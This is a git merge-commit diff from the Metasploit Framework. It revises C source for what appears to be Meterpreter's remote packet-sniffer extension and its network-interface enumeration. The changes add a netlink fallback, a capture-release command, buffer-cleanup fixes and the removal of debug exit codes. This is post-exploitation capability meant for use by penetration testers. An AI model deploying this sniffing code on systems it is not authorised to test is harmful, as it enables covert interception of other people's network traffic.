Merge branch 'master' of r7.github.com:rapid7/metasploit-framework
This commit is contained in:
commit
3e92973d4a
Binary file not shown.
Binary file not shown.
|
@ -64,28 +64,46 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
|
|||
|
||||
char *get_interface_name_by_index(unsigned int fidx)
|
||||
{
|
||||
unsigned idx = 1;
|
||||
unsigned int i, idx;
|
||||
char errbuf[PCAP_ERRBUF_SIZE+4];
|
||||
static char device_name[64]; // PKS, probably safe, due to snifferm mutex
|
||||
int if_error;
|
||||
struct ifaces_list *ifaces;
|
||||
pcap_if_t *interfaces, *int_iter;
|
||||
|
||||
interfaces = int_iter = NULL;
|
||||
ifaces = NULL;
|
||||
idx = 1;
|
||||
|
||||
memset(device_name, 0, sizeof(device_name));
|
||||
|
||||
interfaces = int_iter = NULL;
|
||||
|
||||
if(pcap_findalldevs(&interfaces, errbuf) == -1) {
|
||||
dprintf("Hmm, out of memory? (errno = %d, but probably not useful)", errno);
|
||||
return NULL;
|
||||
dprintf("pcap_findalldevs failed, trying netlink_get_interfaces, errbuf was : %s", errbuf);
|
||||
if_error = netlink_get_interfaces(&ifaces);
|
||||
if(if_error) {
|
||||
dprintf("Error when retrieving interfaces info");
|
||||
return NULL;
|
||||
}
|
||||
for (i = 0; i < ifaces->entries; i++) {
|
||||
if(fidx == ifaces->ifaces[i].index) {
|
||||
strncpy(device_name, ifaces->ifaces[i].name, sizeof(device_name)-1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for(int_iter = interfaces; int_iter; int_iter = int_iter->next) {
|
||||
if(fidx == idx++) {
|
||||
strncpy(device_name, int_iter->name, sizeof(device_name)-1);
|
||||
break;
|
||||
else { //pcap_findalldevs suceeded
|
||||
for(int_iter = interfaces; int_iter; int_iter = int_iter->next) {
|
||||
if(fidx == idx++) {
|
||||
strncpy(device_name, int_iter->name, sizeof(device_name)-1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pcap_freealldevs(interfaces);
|
||||
if(interfaces)
|
||||
pcap_freealldevs(interfaces);
|
||||
if (ifaces)
|
||||
free(ifaces);
|
||||
|
||||
return device_name[0] ? device_name : NULL;
|
||||
|
||||
|
@ -137,8 +155,8 @@ struct sockaddr_in6 *peername6;
|
|||
/* mutex */
|
||||
LOCK *snifferm;
|
||||
|
||||
#define SNIFFER_MAX_INTERFACES 128
|
||||
#define SNIFFER_MAX_QUEUE 210000 // ~300Mb @ 1514 bytes
|
||||
#define SNIFFER_MAX_INTERFACES 128 // let's hope interface index don't go above this value
|
||||
#define SNIFFER_MAX_QUEUE 200000 // ~290Mb @ 1514 bytes
|
||||
|
||||
CaptureJob open_captures[SNIFFER_MAX_INTERFACES];
|
||||
|
||||
|
@ -151,6 +169,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet);
|
|||
HANDLE pktsdk_interface_by_index(unsigned int fidx);
|
||||
DWORD pktsdk_initialize(void);
|
||||
|
||||
|
||||
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
@ -166,11 +185,11 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
|||
6: Accessible?
|
||||
7: DHCP?
|
||||
*/
|
||||
unsigned int idx = 1;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
#ifdef _WIN32
|
||||
HANDLE hCfg;
|
||||
unsigned int idx = 1;
|
||||
|
||||
check_pssdk();
|
||||
|
||||
|
@ -233,6 +252,10 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
|||
#else
|
||||
char errbuf[PCAP_ERRBUF_SIZE+4];
|
||||
int aidx = htonl(1); // :~(
|
||||
struct ifaces_list *ifaces;
|
||||
uint32_t i;
|
||||
int aidx_bigendian;
|
||||
int mtu_bigendian;
|
||||
|
||||
int yes_int = htonl(1);
|
||||
int no_int = 0;
|
||||
|
@ -241,57 +264,106 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
|
|||
pcap_if_t *interfaces, *int_iter;
|
||||
|
||||
interfaces = int_iter = NULL;
|
||||
ifaces = NULL;
|
||||
|
||||
do {
|
||||
result = pcap_findalldevs(&interfaces, errbuf);
|
||||
if(result) {
|
||||
dprintf("pcap_findalldevs() failed, errbuf is %s", errbuf);
|
||||
break;
|
||||
}
|
||||
|
||||
for(int_iter = interfaces; int_iter; int_iter = int_iter->next)
|
||||
{
|
||||
entries[0].header.type = TLV_TYPE_UINT;
|
||||
entries[0].header.length = sizeof(unsigned int);
|
||||
entries[0].buffer = (PUCHAR)&aidx;
|
||||
if(!result) { // pcap_findalldevs suceeded
|
||||
for(int_iter = interfaces; int_iter; int_iter = int_iter->next)
|
||||
{
|
||||
entries[0].header.type = TLV_TYPE_UINT;
|
||||
entries[0].header.length = sizeof(unsigned int);
|
||||
entries[0].buffer = (PUCHAR)&aidx;
|
||||
|
||||
entries[1].header.type = TLV_TYPE_STRING;
|
||||
entries[1].header.length = strlen(int_iter->name)+1;
|
||||
entries[1].buffer = int_iter->name;
|
||||
entries[1].header.type = TLV_TYPE_STRING;
|
||||
entries[1].header.length = strlen(int_iter->name)+1;
|
||||
entries[1].buffer = (PUCHAR)int_iter->name;
|
||||
|
||||
entries[2].header.type = TLV_TYPE_STRING;
|
||||
entries[2].header.length = strlen(int_iter->name)+1;
|
||||
entries[2].buffer = int_iter->name;
|
||||
entries[2].header.type = TLV_TYPE_STRING;
|
||||
entries[2].header.length = strlen(int_iter->name)+1;
|
||||
entries[2].buffer = (PUCHAR)int_iter->name;
|
||||
|
||||
entries[3].header.type = TLV_TYPE_UINT;
|
||||
entries[3].header.length = sizeof(unsigned int);
|
||||
entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type?
|
||||
entries[3].header.type = TLV_TYPE_UINT;
|
||||
entries[3].header.length = sizeof(unsigned int);
|
||||
entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type?
|
||||
|
||||
entries[4].header.type = TLV_TYPE_UINT;
|
||||
entries[4].header.length = sizeof(unsigned int);
|
||||
entries[4].buffer = (PUCHAR)&mtu_int; // PKS :-(
|
||||
entries[4].header.type = TLV_TYPE_UINT;
|
||||
entries[4].header.length = sizeof(unsigned int);
|
||||
entries[4].buffer = (PUCHAR)&mtu_int; // PKS :-(
|
||||
|
||||
entries[5].header.type = TLV_TYPE_BOOL;
|
||||
entries[5].header.length = sizeof(BOOL);
|
||||
entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap
|
||||
entries[5].header.type = TLV_TYPE_BOOL;
|
||||
entries[5].header.length = sizeof(BOOL);
|
||||
entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap
|
||||
|
||||
entries[6].header.type = TLV_TYPE_BOOL;
|
||||
entries[6].header.length = sizeof(BOOL);
|
||||
entries[6].buffer = (PUCHAR)&yes_int; // sure, why not.
|
||||
entries[6].header.type = TLV_TYPE_BOOL;
|
||||
entries[6].header.length = sizeof(BOOL);
|
||||
entries[6].buffer = (PUCHAR)&yes_int; // sure, why not.
|
||||
|
||||
entries[7].header.type = TLV_TYPE_BOOL;
|
||||
entries[7].header.length = sizeof(BOOL);
|
||||
entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it.
|
||||
entries[7].header.type = TLV_TYPE_BOOL;
|
||||
entries[7].header.length = sizeof(BOOL);
|
||||
entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it.
|
||||
|
||||
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
|
||||
aidx = htonl(ntohl(aidx)+1); // :~(
|
||||
}
|
||||
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
|
||||
aidx = htonl(ntohl(aidx)+1); // :~(
|
||||
}
|
||||
} else {
|
||||
dprintf("pcap_findalldevs() failed, trying netlink_get_interfaces now, errbuf was %s", errbuf);
|
||||
result = netlink_get_interfaces(&ifaces);
|
||||
if(result) {
|
||||
dprintf("Error when retrieving interfaces info");
|
||||
break;
|
||||
}
|
||||
// netlink_get_interfaces suceeded
|
||||
for (i = 0; i < ifaces->entries; i++)
|
||||
{
|
||||
aidx_bigendian = htonl(ifaces->ifaces[i].index);
|
||||
entries[0].header.type = TLV_TYPE_UINT;
|
||||
entries[0].header.length = sizeof(uint32_t);
|
||||
entries[0].buffer = (PUCHAR)&aidx_bigendian;
|
||||
|
||||
entries[1].header.type = TLV_TYPE_STRING;
|
||||
entries[1].header.length = strlen(ifaces->ifaces[i].name)+1;
|
||||
entries[1].buffer = (PUCHAR)ifaces->ifaces[i].name;
|
||||
|
||||
entries[2].header.type = TLV_TYPE_STRING;
|
||||
entries[2].header.length = strlen(ifaces->ifaces[i].name)+1;
|
||||
entries[2].buffer = (PUCHAR)ifaces->ifaces[i].name;
|
||||
|
||||
entries[3].header.type = TLV_TYPE_UINT;
|
||||
entries[3].header.length = sizeof(unsigned int);
|
||||
entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type?
|
||||
|
||||
mtu_bigendian = htonl(ifaces->ifaces[i].mtu);
|
||||
entries[4].header.type = TLV_TYPE_UINT;
|
||||
entries[4].header.length = sizeof(uint32_t);
|
||||
entries[4].buffer = (PUCHAR)&mtu_bigendian;
|
||||
|
||||
entries[5].header.type = TLV_TYPE_BOOL;
|
||||
entries[5].header.length = sizeof(BOOL);
|
||||
entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap
|
||||
|
||||
entries[6].header.type = TLV_TYPE_BOOL;
|
||||
entries[6].header.length = sizeof(BOOL);
|
||||
entries[6].buffer = (PUCHAR)&yes_int; // sure, why not.
|
||||
|
||||
entries[7].header.type = TLV_TYPE_BOOL;
|
||||
entries[7].header.length = sizeof(BOOL);
|
||||
entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it.
|
||||
|
||||
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} while(0);
|
||||
|
||||
if(ifaces)
|
||||
free(ifaces);
|
||||
if(interfaces)
|
||||
pcap_freealldevs(interfaces);
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
@ -419,7 +491,7 @@ void packet_handler(u_char *user, const struct pcap_pkthdr *h, const u_char *byt
|
|||
|
||||
if(j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
|
||||
|
||||
if(j->pkts[j->idx_pkts]) free(j->pkts[j->idx_pkts]);
|
||||
if(j->pkts[j->idx_pkts]) free((void*)(j->pkts[j->idx_pkts]));
|
||||
|
||||
j->pkts[j->idx_pkts++] = pkt;
|
||||
|
||||
|
@ -451,6 +523,8 @@ DWORD sniffer_thread(THREAD *thread)
|
|||
select(fd+1, &rfds, NULL, NULL, &tv);
|
||||
|
||||
count = pcap_dispatch(j->pcap, 100, packet_handler, (u_char *)(j));
|
||||
if (-1 == count)
|
||||
dprintf("pcap error: %s", pcap_geterr(j->pcap));
|
||||
|
||||
if(count <= 0) continue;
|
||||
if(count) dprintf("dispatched %d packets", count);
|
||||
|
@ -483,7 +557,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
|
||||
ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
maxp = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_PACKET_COUNT);
|
||||
maxp = min(maxp, 200000);
|
||||
maxp = min(maxp, SNIFFER_MAX_QUEUE);
|
||||
maxp = max(maxp, 1);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
|
@ -526,14 +600,14 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
break;
|
||||
}
|
||||
#else
|
||||
name = get_interface_name_by_index(ifid);
|
||||
name = get_interface_name_by_index(ifh);
|
||||
|
||||
if(! name) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
j->pcap = pcap_open_live(name, 1514, 1, 1000, errbuf);
|
||||
j->pcap = pcap_open_live(name, 65535, 1, 1000, errbuf);
|
||||
if(! j->pcap) {
|
||||
result = EACCES;
|
||||
break;
|
||||
|
@ -626,7 +700,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
|
||||
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
|
||||
Packet *response = packet_create_response(packet);
|
||||
unsigned int ifid,i;
|
||||
unsigned int ifid;
|
||||
CaptureJob *j;
|
||||
DWORD result;
|
||||
|
||||
|
@ -670,13 +744,8 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
|
|||
thread_join(j->thread); // should take less than 1 second :p
|
||||
#endif
|
||||
|
||||
for(i=0; i<j->max_pkts; i++) {
|
||||
if(!j->pkts[i]) break;
|
||||
PktDestroy(j->pkts[i]);
|
||||
j->pkts[i] = NULL;
|
||||
}
|
||||
free(j->pkts);
|
||||
memset(j, 0, sizeof(CaptureJob));
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes);
|
||||
|
||||
lock_release(snifferm);
|
||||
|
||||
|
@ -687,7 +756,62 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
|
|||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) {
|
||||
Packet *response = packet_create_response(packet);
|
||||
unsigned int ifid,i;
|
||||
CaptureJob *j;
|
||||
DWORD result;
|
||||
|
||||
check_pssdk();
|
||||
dprintf("sniffer>> release_capture()");
|
||||
|
||||
ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
|
||||
dprintf("sniffer>> release_capture(0x%.8x)", ifid);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
do {
|
||||
// the interface is invalid
|
||||
if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
j = &open_captures[ifid];
|
||||
|
||||
// the interface is not being captured
|
||||
#ifdef _WIN32
|
||||
if(! j->adp || j->active == 1)
|
||||
#else
|
||||
if(! j->pcap || j->active == 1)
|
||||
#endif
|
||||
{
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire(snifferm);
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes);
|
||||
dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
|
||||
|
||||
for(i=0; i<j->max_pkts; i++) {
|
||||
if(!j->pkts[i]) break;
|
||||
PktDestroy(j->pkts[i]);
|
||||
j->pkts[i] = NULL;
|
||||
}
|
||||
free(j->pkts);
|
||||
memset(j, 0, sizeof(CaptureJob));
|
||||
|
||||
lock_release(snifferm);
|
||||
|
||||
|
||||
} while(0);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
@ -722,9 +846,10 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
|
|||
result = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire(snifferm);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes);
|
||||
lock_release(snifferm);
|
||||
} while(0);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
@ -733,7 +858,7 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
|
|||
|
||||
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
|
||||
Packet *response = packet_create_response(packet);
|
||||
unsigned int ifid;
|
||||
unsigned int ifid, i;
|
||||
unsigned int bcnt;
|
||||
CaptureJob *j;
|
||||
DWORD result;
|
||||
|
@ -753,13 +878,13 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
|
|||
// the interface is invalid
|
||||
if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
|
||||
break;
|
||||
goto fail;
|
||||
}
|
||||
|
||||
j = &open_captures[ifid];
|
||||
if(! j->dbuf) {
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
|
||||
break;
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if(j->didx + bcnt > j->dlen) {
|
||||
|
@ -777,8 +902,22 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
|
|||
j->dbuf = NULL;
|
||||
j->didx = 0;
|
||||
j->dlen = 0;
|
||||
// if dump occurs when interface is not active, i.e sniff has ended, release info
|
||||
if (j->active == 0) {
|
||||
dprintf("sniffer>> capture_dump_read, release CaptureJob");
|
||||
lock_acquire(snifferm);
|
||||
for(i=0; i<j->max_pkts; i++) {
|
||||
if(!j->pkts[i]) break;
|
||||
PktDestroy(j->pkts[i]);
|
||||
j->pkts[i] = NULL;
|
||||
}
|
||||
free(j->pkts);
|
||||
memset(j, 0, sizeof(CaptureJob));
|
||||
lock_release(snifferm);
|
||||
}
|
||||
}
|
||||
|
||||
fail:
|
||||
packet_transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -791,7 +930,7 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
|
|||
unsigned int *tmp;
|
||||
|
||||
CaptureJob *j;
|
||||
DWORD result,pcnt,bcnt,rcnt,i;
|
||||
DWORD result,pcnt,rcnt,i;
|
||||
DWORD thi, tlo;
|
||||
|
||||
check_pssdk();
|
||||
|
@ -834,7 +973,6 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
|
|||
|
||||
// Add basic stats
|
||||
pcnt = 0;
|
||||
bcnt = 0;
|
||||
rcnt = 0;
|
||||
|
||||
mbuf = (1024*1024);
|
||||
|
@ -916,6 +1054,11 @@ Command customCommands[] =
|
|||
{ request_sniffer_capture_stats, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Release captured packets instead of downloading them
|
||||
{ "sniffer_capture_release",
|
||||
{ request_sniffer_capture_release, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Sniffing packet dump
|
||||
{ "sniffer_capture_dump",
|
||||
{ request_sniffer_capture_dump, { 0 }, 0 },
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
DWORD get_interfaces_windows_mib(Remote *remote, Packet *response)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD entryCount;
|
||||
DWORD tlv_cnt;
|
||||
|
||||
Tlv entries[6];
|
||||
PMIB_IPADDRTABLE table = NULL;
|
||||
|
@ -37,52 +37,52 @@ DWORD get_interfaces_windows_mib(Remote *remote, Packet *response)
|
|||
// Enumerate the entries
|
||||
for (index = 0; index < table->dwNumEntries; index++)
|
||||
{
|
||||
entryCount = 0;
|
||||
tlv_cnt = 0;
|
||||
|
||||
interface_index_bigendian = htonl(table->table[index].dwIndex);
|
||||
entries[entryCount].header.length = sizeof(DWORD);
|
||||
entries[entryCount].header.type = TLV_TYPE_INTERFACE_INDEX;
|
||||
entries[entryCount].buffer = (PUCHAR)&interface_index_bigendian;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
entries[entryCount].header.length = sizeof(DWORD);
|
||||
entries[entryCount].header.type = TLV_TYPE_IP;
|
||||
entries[entryCount].buffer = (PUCHAR)&table->table[index].dwAddr;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_IP;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwAddr;
|
||||
tlv_cnt++;
|
||||
|
||||
entries[entryCount].header.length = sizeof(DWORD);
|
||||
entries[entryCount].header.type = TLV_TYPE_NETMASK;
|
||||
entries[entryCount].buffer = (PUCHAR)&table->table[index].dwMask;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_NETMASK;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwMask;
|
||||
tlv_cnt++;
|
||||
|
||||
iface.dwIndex = table->table[index].dwIndex;
|
||||
|
||||
// If interface information can get gotten, use it.
|
||||
if (GetIfEntry(&iface) == NO_ERROR)
|
||||
{
|
||||
entries[entryCount].header.length = iface.dwPhysAddrLen;
|
||||
entries[entryCount].header.type = TLV_TYPE_MAC_ADDR;
|
||||
entries[entryCount].buffer = (PUCHAR)iface.bPhysAddr;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = iface.dwPhysAddrLen;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)iface.bPhysAddr;
|
||||
tlv_cnt++;
|
||||
|
||||
mtu_bigendian = htonl(iface.dwMtu);
|
||||
entries[entryCount].header.length = sizeof(DWORD);
|
||||
entries[entryCount].header.type = TLV_TYPE_INTERFACE_MTU;
|
||||
entries[entryCount].buffer = (PUCHAR)&mtu_bigendian;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
if (iface.bDescr)
|
||||
{
|
||||
entries[entryCount].header.length = iface.dwDescrLen + 1;
|
||||
entries[entryCount].header.type = TLV_TYPE_MAC_NAME;
|
||||
entries[entryCount].buffer = (PUCHAR)iface.bDescr;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = iface.dwDescrLen + 1;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)iface.bDescr;
|
||||
tlv_cnt++;
|
||||
}
|
||||
}
|
||||
|
||||
// Add the interface group
|
||||
packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE,
|
||||
entries, entryCount);
|
||||
entries, tlv_cnt);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
@ -96,7 +96,7 @@ DWORD get_interfaces_windows_mib(Remote *remote, Packet *response)
|
|||
|
||||
DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD entryCount;
|
||||
DWORD tlv_cnt;
|
||||
// Most of the time we'll need:
|
||||
// index, name (description), MAC addr, mtu, flags, IP addr, netmask, maybe scope id
|
||||
// In some cases, the interface will have multiple addresses, so we'll realloc
|
||||
|
@ -108,7 +108,7 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
|||
DWORD interface_index_bigendian;
|
||||
|
||||
ULONG flags = GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER;
|
||||
|
||||
|
||||
LPSOCKADDR sockaddr;
|
||||
|
||||
ULONG family = AF_UNSPEC;
|
||||
|
@ -120,7 +120,7 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
|||
// Use the larger version so we're guaranteed to have a large enough struct
|
||||
IP_ADAPTER_UNICAST_ADDRESS_LH *pAddr;
|
||||
|
||||
|
||||
|
||||
do
|
||||
{
|
||||
gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress(
|
||||
|
@ -128,10 +128,6 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
|||
);
|
||||
if (!gaa) {
|
||||
result = get_interfaces_windows_mib(remote, response);
|
||||
|
||||
// --- DEBUG ---
|
||||
packet_add_tlv_uint(response, TLV_TYPE_EXIT_CODE, 666);
|
||||
// --- END DEBUG ---
|
||||
break;
|
||||
}
|
||||
|
||||
|
@ -150,85 +146,81 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
|||
// Enumerate the entries
|
||||
for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next)
|
||||
{
|
||||
entryCount = 0;
|
||||
tlv_cnt = 0;
|
||||
|
||||
interface_index_bigendian = htonl(pCurr->IfIndex);
|
||||
entries[entryCount].header.length = sizeof(DWORD);
|
||||
entries[entryCount].header.type = TLV_TYPE_INTERFACE_INDEX;
|
||||
entries[entryCount].buffer = (PUCHAR)&interface_index_bigendian;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
entries[entryCount].header.length = pCurr->PhysicalAddressLength;
|
||||
entries[entryCount].header.type = TLV_TYPE_MAC_ADDR;
|
||||
entries[entryCount].buffer = (PUCHAR)pCurr->PhysicalAddress;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress;
|
||||
tlv_cnt++;
|
||||
|
||||
entries[entryCount].header.length = wcslen(pCurr->Description)*2 + 1;
|
||||
entries[entryCount].header.type = TLV_TYPE_MAC_NAME;
|
||||
entries[entryCount].buffer = (PUCHAR)pCurr->Description;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = wcslen(pCurr->Description)*2 + 1;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description;
|
||||
tlv_cnt++;
|
||||
|
||||
mtu_bigendian = htonl(pCurr->Mtu);
|
||||
entries[entryCount].header.length = sizeof(DWORD);
|
||||
entries[entryCount].header.type = TLV_TYPE_INTERFACE_MTU;
|
||||
entries[entryCount].buffer = (PUCHAR)&mtu_bigendian;
|
||||
entryCount++;
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
|
||||
|
||||
for (pAddr = (void*)pCurr->FirstUnicastAddress; pAddr; pAddr = (void*)pAddr->Next)
|
||||
{
|
||||
// This loop can add up to three Tlv's - one for address, one for scope_id, one for netmask.
|
||||
// Go ahead and allocate enough room for all of them.
|
||||
if (allocd_entries < entryCount+3) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (entryCount+3));
|
||||
if (allocd_entries < tlv_cnt+3) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
|
||||
allocd_entries += 3;
|
||||
}
|
||||
|
||||
sockaddr = pAddr->Address.lpSockaddr;
|
||||
if (sockaddr->sa_family == AF_INET) {
|
||||
entries[entryCount].header.length = 4;
|
||||
entries[entryCount].header.type = TLV_TYPE_IP;
|
||||
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
|
||||
entries[tlv_cnt].header.length = 4;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_IP;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
|
||||
if (pCurr->Length > 68) {
|
||||
|
||||
// --- DEBUG ---
|
||||
packet_add_tlv_uint(response, TLV_TYPE_EXIT_CODE, 1337);
|
||||
// --- END DEBUG ---
|
||||
|
||||
|
||||
entryCount++;
|
||||
entries[entryCount].header.length = 4;
|
||||
entries[entryCount].header.type = TLV_TYPE_NETMASK;
|
||||
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
|
||||
tlv_cnt++;
|
||||
entries[tlv_cnt].header.length = 4;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_NETMASK;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
|
||||
}
|
||||
} else {
|
||||
entries[entryCount].header.length = 16;
|
||||
entries[entryCount].header.type = TLV_TYPE_IP;
|
||||
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
|
||||
entries[tlv_cnt].header.length = 16;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_IP;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
|
||||
|
||||
